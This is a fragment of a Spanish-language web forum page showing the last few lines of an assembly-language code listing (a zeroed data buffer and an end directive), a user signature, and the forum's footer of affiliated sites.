BytesOriginales:
db 50 dup (0)
 
    FinFuncion:
.end start ; Declaramos el Import data y el Entry Point    
 
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC